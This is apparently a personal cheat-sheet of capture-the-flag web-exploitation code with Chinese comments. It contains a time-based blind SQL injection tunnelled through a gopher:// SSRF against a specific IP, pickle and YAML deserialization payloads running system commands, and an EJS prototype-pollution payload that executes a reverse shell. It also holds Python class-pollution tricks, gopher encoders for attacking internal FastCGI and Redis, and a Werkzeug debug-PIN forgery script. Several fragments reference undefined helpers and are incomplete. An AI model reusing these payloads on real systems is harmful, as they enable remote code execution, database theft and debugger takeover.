import urllib.parse
import requests
import time
import base64
url="http://61.147.171.105:51255/use.php?url="
flag=""
for pos in range(1,50):
    for i in range(33,127):
        #poc="') union select 1,2,if(1=1,sleep(5),1) # "
 
        #security
        #poc="') union select 1,2,if(ascii( substr((database()),"+str(pos)+",1) )="+str(i)+",sleep(2),1) # "
 
        #flag
        #poc="') union select 1,2,if(ascii( substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),"+str(pos)+",1) )="+str(i)+",sleep(2),1) # "
        
        poc="') union select 1,2,if(ascii( substr((select * from flag),"+str(pos)+",1) )="+str(i)+",sleep(3),1) # "
        
        bs = str(base64.b64encode(poc.encode("utf-8")), "utf-8")
        final_poc="gopher://127.0.0.1:80/_GET%20%2findex.php%20HTTP%2f1.1%250d%250aHost%3A%20localhost%3A80%250d%250aConnection%3A%20close%250d%250aContent-Type%3A%20application%2fx-www-form-urlencoded%250d%250aCookie%3A%20this%5Fis%5Fyour%5Fcookie%3D"+bs+"%3B%250d%250a"
        t1=time.time()
        res=requests.get(url+final_poc)
        t2=time.time()
        if(t2-t1>3):
            flag+=chr(i)
            print(flag)
            break
print(flag)

import requests
dictory=["`","~","!","@","#","$","%","^","&","*","(",")","-","_","=","+","[","]","{","}","|","\\",";",":","'","\"",",",".","<",">","/","?"," ","&&","||","<>"]
sesssion = requests.session()
for i in range(0,len(dictory)-1):
    response = sesssion.get("http://61.147.171.105:62607/index.php?url="+dictory[i])
    if "Invalid URL" not in response.text:
        print(dictory[i])

import os
os.system("ls")# 无回显
output = os.popen("ls -l")
print(output.read())

import subprocess
output = subprocess.run("ls -l", capture_output=True, shell=True)
print(output.stdout.decode())
# 执行命令并获取输出结果
output = subprocess.check_output(args, shell=True)

# 输出结果为字节字符串，可以根据需要进行解码
decoded_output = output.decode('utf-8')

# 打印输出结果
print(decoded_output)

#字符串逃逸计算,字符增加

base="di_shi_san_qiang"
rebase="Unrepentant_Lethality"
end='";s:11:"Spear_Owner";s:6:"MaoLei";}'
base1=""
rebase1=""

print(len(base),len(rebase),len(end))
for i in range(10):
    base1=base1+base
    rebase1=rebase1+rebase
    count1 = len(base1+end)
    count2 = len(rebase1)
    if count1==count2:
        print(base1+end)
        break

# b指令
import pickle

class Student():
    a = 'asd'
    b = 123
    
payload = b'''c__main__
Student
)\x81}(V__setstate__
cos
system
ubVwhoami
b.'''

pickle.loads(payload)

# R指令
b'''cos
system
(Vwhoami
tR.'''

b'''cos
system
(S"whoami"
tR.
'''

# i指令
b'''(S"whoami"
ios
system
.'''

# o指令
b'''(cos
system
S'whoami'
o.'''

# pker
getattr=GLOBAL('builtins','getattr') # getattr = builtins.getattr
dict=GLOBAL('builtins','dict') # dict = builtins.dict
dict_get=getattr(dict,'get') # 取get方法
glo_dic=GLOBAL('builtins','globals')() # 
builtins=dict_get(glo_dic,'builtins') # 
eval=getattr(builtins,'eval') # 
eval('print("123")') # 
return
# https://xz.aliyun.com/t/7436#toc-17

# ycb
b'''(S'raise Exception(__import__("os").popen('ls -l /flag').read())'
i__builtin__
exec
.'''

data = b"""!!python/object/apply:subprocess.Popen
- calc"""
deserialized_data = unsafe_load(data)

data = b"""!!python/object/apply:subprocess.Popen
- calc"""
deserialized_data = load(data, Loader=Loader)

ejs escape="""\
function escapeXMLToString() {
    return Function.prototype.tostring.call(this) + ';\\n' + escapeFuncStr;
}
console.log('114514ejs');
process.mainModule.require('child_process').execSync(CMD);
\
""".replace("CMD"，repr(reverse_shell_payload))
url="http://f63b9588-d130-496d-ae65-b4578c85ca39.node4.buuoj.cn:81/"
r = base_post(url, json = {
    "msg": {
        "__proto__": {
            "settings": {
                "view options": {
                    "client": "1",
                    "escape": "ejs_escape",
                }
            }
        }
    },
    "trickwaf%00%%%": 114514
})
print(r.text)

def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

payload = {
    "__class__" : {
        "__base__" : {
            "secret" : "no way"
        }
    }
}
print(son_a.secret)
#haha
print(instance.secret)
#haha
merge(payload, instance)
print(son_a.secret)
#no way
print(instance.secret)
#no way

# 污染全局变量
payload = {
    "__class__": {
        "__init__": {
            "__globals__": {
                "secret": "1919810"
            }
        }
    }
}
# https://tttang.com/archive/1876/

import urllib.parse as u

file = "gopher" # input("Please input filename: ")
with open(file,"r") as f:
    txt = f.read()
txt = u.quote(txt).replace("%0A","%0D%0A")
txt = txt.replace("%0D%0D%0A","%0D%0A")
txt = u.quote(txt)
txt = u.quote(txt)
print("gopher://127.0.0.1:80/_"+txt)

import urllib.parse as u

txt = input("Please input gopher: ").replace("gopher://127.0.0.1:9000/_","")
txt = txt.replace("%0A","%0D").replace("%2F","/")
txt = u.quote(txt)
print("\n\n")
print("gopher://127.0.0.1:9000/_"+txt)

import urllib.parse as u

txt = input("Please input gopher: ")#.replace("gopher://127.0.0.1:6379/_","")
# txt = txt.replace("%0A","%0D").replace("%2F","/")
txt = u.quote(txt)
print("\n\n")
#print("gopher://127.0.0.1:6379/_"+txt)
print(txt)

probably_public_bits = [
    'root'# 用户名
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/home/user/.local/lib/python3.10/site-packages/flask/app.py' # app.py文件路径,
]

private_bits = [
    '95535655936',# str(uuid.getnode()),  /sys/class/net/ens33/address，str(int("02:42:ac:02:2a:80".replace(":", ""), 16))
    '2c2781498c424bcf86b4d5aa3c0d27faapp-glib-codium-1239.scope'# /etc/machine-id的内容(/proc/sys/kernel/random/boot_id)+/proc/self/cgroup的结尾
]

import hashlib
from itertools import chain
probably_public_bits = [
    'root',# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.5/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
    '2485377892354',# str(uuid.getnode()),  /sys/class/net/ens33/address
    '32e48d371198e8420c53b0a1fa37e94ddcddc01b2cc5deb5f183ef8a3af12770f1191c04ea53542256866fa5c5569ec3'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

import hashlib
from itertools import chain
probably_public_bits = [
    'root',# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.5/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
    '2485377892354',# str(uuid.getnode()),  /sys/class/net/ens33/address
    '32e48d371198e8420c53b0a1fa37e94ddcddc01b2cc5deb5f183ef8a3af12770f1191c04ea53542256866fa5c5569ec3'# get_machine_id(), /etc/machine-id
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode("utf-8")
    h.update(bit)
h.update(b"cookiesalt")

cookie_name = f"__wzd{h.hexdigest()[:20]}"

# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num = None
if num is None:
    h.update(b"pinsalt")
    num = f"{int(h.hexdigest(), 16):09d}"[:9]

# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = "-".join(
                num[x : x + group_size].rjust(group_size, "0")
                for x in range(0, len(num), group_size)
            )
            break
    else:
        rv = num

print(rv)